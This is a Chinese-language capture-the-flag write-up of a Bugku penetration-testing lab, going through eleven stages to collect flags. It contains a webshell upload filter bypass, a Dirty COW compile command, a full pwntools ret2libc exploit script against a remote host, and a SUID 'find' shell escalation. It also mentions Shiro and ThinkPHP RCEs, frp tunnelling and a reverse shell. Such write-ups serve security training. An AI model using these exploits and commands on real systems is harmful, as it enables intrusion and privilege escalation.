看到bugku出的新模式,玩了一下。
0x00 场景1
查看源代码找到flag1。
0x01 场景2
输入/admin找到了后台地址,输入admin/admin成功进入后台。
在后台成功找到了flag2:
0x02 场景3
在基本设置→上传配置,上传后缀中,添加php,然后保存。
然后网站就不能访问了,,呜呜呜呜呜呜我滴20金币。。
重启了一下环境,继续把php后缀添加进去。然后内容管理→模型管理→添加模型→上传图标→上传🐎。
根据回显的错误提示<上传文件后缀不能为空>可以判断它把php这个后缀过滤掉了,双写该后缀名绕过即可。
在/home下找到了flag3。
0x03 场景4
需要提权 上传个🐎转移到msf,使用les.sh,提示可能存在脏牛提权漏洞:
于是我尝试上传脏牛的exp:戳我,然后编译:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
把编译好的dcow放在/tmp目录下去执行,但是提权失败了。
去翻了一下网站的数据库配置文件,路径/var/www/html/app/database.php,意外之喜:
<?php return [ 'type' => 'mysql', 'hostname' => '127.0.0.1', 'database' => 'myu', 'username' => 'root', 'password' => 'root', 'hostport' => '3306', 'prefix' => 'my_', ];
找到flag4:
0x04 场景5
把/home/ctf下的main文件拉出来分析,ret2libc。exp:
from pwn import * elf = ELF('./main') local = 0 if local == 1: io = process('./main') else: io = remote('101.132.195.152',9999) io.recvuntil("name:\n") payload = 'a'*(0x24)+p32(0xdeadbeef)+p32(elf.symbols['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['__libc_start_main'])+p32(8) io.send(payload) libc_start_main_addr = u32(io.recv(4)) print(hex(libc_start_main_addr)) libcbase = libc_start_main_addr - 0x018190 system_addr = libcbase + 0x03a850 binsh = libcbase + 0x15d7c8 payload2 = 'a'*(0x24)+p32(0xdeadbeef)+p32(system_addr)+p32(elf.symbols['main'])+p32(binsh) io.recvuntil("name:\n") io.send(payload2) io.interactive()
0x05 场景6
根据提示,访问8080。随手打了一个robots.txt,出现flag。
# # robots.txt for shiro # flag{5e6bf26ea9968305a07aa372a3e1147c} PS:next to my home # User-agent: * Disallow:
0x06 场景7
根据提示shiro联想到shiro的rce漏洞。
0x07 场景8
挪到msf🐎上,提权,找到正在系统上运行的所有SUID可执行文件:
find / -user root -perm -4000 -print 2>/dev/null
发现以root权限运行着find,利用find可以提权。
find . -exec /bin/sh -p \; -quit
0x08 场景9
根据提交flag处的提示<看看内网?>,用frp进行内穿。
其中192.168.0.4存在一个网站,有thinkphp 5.0.23的rce,一把梭,在/html目录下找到了flag。
0x09 场景10
提示看看数据库,在/var/www/html/application/database.php找到了数据库配置文件:
// 数据库名 'database' => 'aman', // 用户名 'username' => 'aman', // 密码 'password' => 'aman123',
使用该用户名密码连接mysql,在flag库下得到flag。
0x0A 场景11
使用msf反弹shell,用CVE-2022-0185成功进行了提权,在root目录下发现了flag。